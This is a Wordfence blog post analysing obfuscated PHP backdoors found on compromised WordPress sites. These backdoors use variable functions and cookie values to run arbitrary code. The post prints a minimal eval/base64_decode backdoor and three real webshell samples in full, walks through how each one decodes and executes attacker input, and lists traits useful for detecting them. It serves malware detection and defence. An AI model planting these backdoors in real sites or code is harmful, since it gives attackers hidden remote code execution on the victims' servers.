📢 Calling all Vulnerability Researchers and Bug Bounty Hunters! 📢
🚀 Operation: Maximum Impact Challenge! Now through November 10, 2025, earn 2X bounty rewards for all in-scope submissions in software with at least 5,000 active installs and fewer than 5 million active installs. Bounties up to $31,200 per vulnerability. Submit bold. Earn big!
📁 The LFInder Challenge: Refine your LFI hunting skills with an expanded scope. Now through November 24, 2025, all LFI vulnerabilities in software with at least 25 active installs are considered in-scope for all researchers, regardless of researcher tier, AND earn a 30% bonus on all Local File Inclusion vulnerability submissions not already increased by another promotion.
One recurring theme the Wordfence Threat Intelligence as well as the Care and Response teams see in new malware is heavy use of obfuscation. While some malware stands out by making an effort to blend in, obfuscation is generally the go-to way in which attackers attempt to evade detection and hide their scripts.
In this case, we are referring to malware using variable functions and cookies for obfuscation. The particular malware we want to discuss today is not new. It does, however, surface in new variants frequently and warrants a more detailed discussion due to the widespread use of its obfuscation techniques.
Samples related to this malware are all detected by our malware signatures for all Wordfence users, including those running the free version of Wordfence.
As part of our product lineup, we offer security monitoring and malware removal services to our Wordfence Care and Response customers. In the event of a security incident, our incident response team will investigate the root cause, find and remove malware from your site, and help with other complications that may arise as a result of an infection. During the cleanup, malware samples are added to our Threat Intelligence database, which contains over 4.4 million unique malicious samples. The Wordfence plugin detects over 99% of these samples and indicators of compromise, when using the premium signatures set. Wordfence CLI can scan your site even if WordPress is no longer functional and is an excellent layer of security to implement at the server-level, part of our mission to secure the web by Defense in Depth.
What Are Variable Functions?
As specified in the PHP Language Reference documents, PHP allows developers to append parentheses to any PHP variable. This causes PHP to evaluate the variable and to call a function with the same name as whatever the variable evaluates to. While there are completely legitimate use cases for this, malicious actors also use that ability to their advantage. The following example shows a minimal backdoor using variable functions:
<?php $hello = 'eval'; $world = 'base64_decode'; $hello($world($_POST['payload']));
The variable $hello
evaluates to the string ‘eval’ and $world
evaluates to ‘base64_decode’. Appending parentheses to the variable makes PHP execute the functions eval()
and base64_decode()
with a payload provided via a POST parameter.
This minimal remote code execution script depends on user input. While we technically cannot say with certainty what exactly this script does because of this reliance on user input, it is pretty easy to see that it can be used for malicious purposes. Detecting this behavior is relatively straightforward, but it can get more complicated quickly. And already, the straightforward detection of an eval()
followed by a base64_decode()
call followed by a payload in a superglobal may fail on a file in which the order of the variable assignments is switched.
What Are Cookies?
Endless popups informing us about cookie choices are pretty common these days. Usually, we are given the choice between mandatory cookies (that ensure the site actually works), and optional cookies. Ultimately, these are small text files that store information about your shopping session or your browsing history (tracking cookies), enhance your user experience or fulfil some other important function (session cookies).
These cookies are sent by the browser to the website you are visiting so that this information can be handed back to the server.
The First Malware Sample Analysis
This malware sample is not one that attempts to blend in and hide itself by looking legitimate. Instead, it attempts to evade detection by combining several techniques in order to fool scanning tools.
<?php $args = 22; $locale = $_COOKIE; $image_url = sizeof($locale); if($image_url == 11) { if (in_array(gettype($locale).count($locale),$locale)) { $locale[79] = $locale[79].$locale[94]; $locale[23] = $locale[79]($locale[23]); $locale = $locale[23]($locale[64],$locale[79]($locale[18])); $type = 78; $locale($args,$image_url,$type); } }
When malware attack victims send samples like this one to us via samples@wordfence.com and ask what they do, the answer isn’t always 100% clear at first glance. Let’s take a look at this case.
Malware Breakdown
For this walkthrough we will assume the following cookies:
$_COOKIE[79] = "base64_"
$_COOKIE[94] = "decode"
$_COOKIE[23] = "Y3JlYXRlX2Z1bmN0aW9u"
// base64 for “create_function”
$_COOKIE[18] = "ZWNobyAiUHduZWQiOw=="
// base64 for echo “Pwned”;
$_COOKIE[64] = '$a,$b,$c'
// arg list for created function
$_COOKIE[1] = "array11"
5 additional cookies to bring the count to 11.
The script begins with the assignment of a value to an $args
variable, stores the $_COOKIE
array under a new name and determines how many cookies were passed.
$args = 22;
$locale = $_COOKIE;
$image_url = sizeof($locale);
What follows is a check that ensures that 11 cookies were passed and that one of them contains the literal string “array11”
if($image_url == 11) { if (in_array(gettype($locale).count($locale),$locale)) {
The statement $locale[79] = $locale[79] . $locale[94];
concatenates two cookie values into one string. This is used to create an actual function name. In our example, the cookie $locale[79]
contains the string “base64_” and $locale[94]
contains decode , which would be concatenated and stored in $locale[79]
as base64_decode
.
Our variables and cookies at this point have the following values:
$args = 22
$image_url = 11
$locale[79] = "base64_decode"
$locale[94] = "decode"
$locale[23] = "Y3JlYXRlX2Z1bmN0aW9u"
// base64 for “create_function”
$locale[18] = "ZWNobyAiUHduZWQiOw=="
// base64 for echo “Pwned”;
$locale[64] = "$a,$b,$c"
The function $locale[79]
is then executed with the argument $locale[23]
in the next statement. The result is stored in $locale[23]
. Assuming that $locale[23]
contains the string “Y3JlYXRlX2Z1bmN0aW9u”, the assignment becomes $locale[23] = base64_decode("Y3JlYXRlX2Z1bmN0aW9u");
which resolves to create_function
– another function name.
$locale[23] = $locale[79]($locale[23]);
Variable and cookie state:
$args = 22
$image_url = 11
$locale[79] = "base64_decode"
$locale[94] = "decode"
$locale[23] = "create_function"
// updated / decoded
$locale[18] = "ZWNobyAiUHduZWQiOw=="
// base64 for echo “Pwned”;
$locale[64] = "$a,$b,$c"
The function create_function
is now executed with two arguments. The first is a comma-separated parameter list and the second is the function body.
$locale = $locale[23]($locale[64],$locale[79]($locale[18]));
This is equivalent to create_function('$a,$b,$c', 'echo "Pwned";')
– in this simple example the parameters that are passed are not actually used in the function that is created by this call. Instead, the function we create with this code just outputs a string.
$type = 78;
Variable and cookie state:
$args = 22
$image_url = 11
$locale = "<callable_name_string>"
// callable function
$type = 78
Individual cookies are no longer available because $locale
was overwritten.
The following statement invokes the callable function created earlier. Three numeric values are passed to it.
$locale($args,$image_url,$type);
It should be noted that this example using create_function()
will not work on PHP 8.0 and newer since the function was removed from the language. It was also deprecated in PHP 7.2 but still works – albeit with warnings.
This does not mean the backdoor is unusable in PHP 8, however. It is very much possible for another PHP script to include this one and define functions that would then be executable by this piece of malware.
Another Malware Sample Analysis
$c=$_COOKIE;$a=isset($c['a'])&&$c['a']%283==0&&isset($c['c'])&&isset($c['f']);if($a){$k=str_replace(['x','f','9'],['e','d','_'],$c['f']);$d=unserialize($k($c['c']));$f=$d[0]();$d[1](function($f)use($d){$d[3]($f);exit;},$f);$d[2]($f,$k($d[10]));$p=$d[4]($f)['uri'];include_once($p);exit;}
Malware Breakdown
Similar to the previous sample, we see the assignment of $_COOKIE
to another variable. As a quick check to avoid execution by unauthorized actors, this script ensures that several cookies are set and one of them is divisible by 283. These three magic cookies are required.
$c=$_COOKIE;$a=isset($c['a'])&&$c['a']%283==0&&isset($c['c'])&&isset($c['f']);
What follows is string manipulation in order to reconstruct a function name. Specifically, the characters ‘x’, ‘f’, ‘9’ are replaced in the cookie f with the characters ‘e’, ‘d’, and ‘_’, respectively. If the cookie f contained the string basx649fxcofx
, the code below would transform that to base64_decode
.
if($a){$k=str_replace(['x','f','9'],['e','d','_'],$c['f']);
The payload is contained in $c['c']
, decoded and unserialized using this command.
$d=unserialize($k($c['c']));
As a result, $d
now contains an array of function names and function arguments of the attacker’s choosing. This allows for the execution of arbitrary code. Towards the end of the script we see an include statement that includes a local file of the attacker’s choice. Since the code executed through this script is capable of creating files, it is likely that one of them is included in this script. In fact, it is possible that our first malware sample is included.
A Final Malware Sample Analysis
<?php $p=$_COOKIE;(count($p)==22&&in_array(gettype($p).count($p),$p))?(($p[40]=$p[40].$p[12])&&($p[34]=$p[40]($p[34]))&&($p=$p[34]($p[37],$p[40]($p[92])))&&$p()):$p;
The $_COOKIE
superglobal is saved to a variable just like in the other examples. We again see a cookie count check as well as another check to ensure that a specifically named cookie is sent along with the request. What follows is the repeated use of array lookups and execution of variable functions.
Malware Breakdown
The sample above uses a ternary if-statement to evaluate whether exactly 22 cookies are provided and whether one exists that contains the string “array22”. If that is the case, the script will construct a function name:
$p=$_COOKIE;(count($p)==22&&in_array(gettype($p).count($p),$p))?(($p[40]=$p[40].$p[12])
We then have several additional assignments with function calls. Just like in the first sample, the script uses a variable function with an argument and stores that in the cookie that previously contained the argument.
($p[34]=$p[40]($p[34]));
A slightly longer expression prepares the function $p()
and executes it. If the original cookie check failed, this just simply returns the cookies.
($p=$p[34]($p[37],$p[40]($p[92])))&&$p()):$p;
This sample’s use of a ternary if-statement makes it a little harder to read, but its functionality is similar to the other two scripts.
Malware Detection Strategies
The signatures written to detect the aforementioned samples had over 30,000 detections in the month of September, 2025. The three samples presented in this post are just a few of the many variants we see. They share some common traits that help identify them as malicious and help improve detection.
More specifically, we can identify the following characteristics:
- The samples tend to be short, dense, and heavily obfuscated. Normally, code written by humans uses meaningful variable names and indentation. AI, such as Claude and ChatGPT, tend to follow those standards as well.
- The code examples make excessive use of array lookups, concatenation, assignments or cookies
- Some cookie checks are added in order to prevent others from using this script
- Variable function use is present
Given that these samples can execute any function the attacker wants them to, it would be difficult to go far with traditional detection signatures. Instead, we need to target what is unusual about these samples and leverage that for detection.
We have dozens of signatures targeting these and other types of behavior. While our detection capabilities are robust, we are always on the lookout for new malware variants. If you encounter malware on your site that is undetected by Wordfence, please send it to samples@wordfence.com so we can add it to our corpus and write detection signatures for it.
Conclusion
In today’s blog post, we highlighted several samples that make use of variable functions and cookies to execute code remotely. We outlined ways in which these and other shared characteristics can help improve malware detection. While this is not a novel approach to malware obfuscation, it remains relevant as thousands of these files are detected by these malware signatures every month.
Wordfence Premium, Care and Response users, as well as paid Wordfence CLI customers and Wordfence free users are protected against the samples above as well as thousands of other variants.
The post Malware Using Variable Functions and Cookies For Obfuscation appeared first on Wordfence.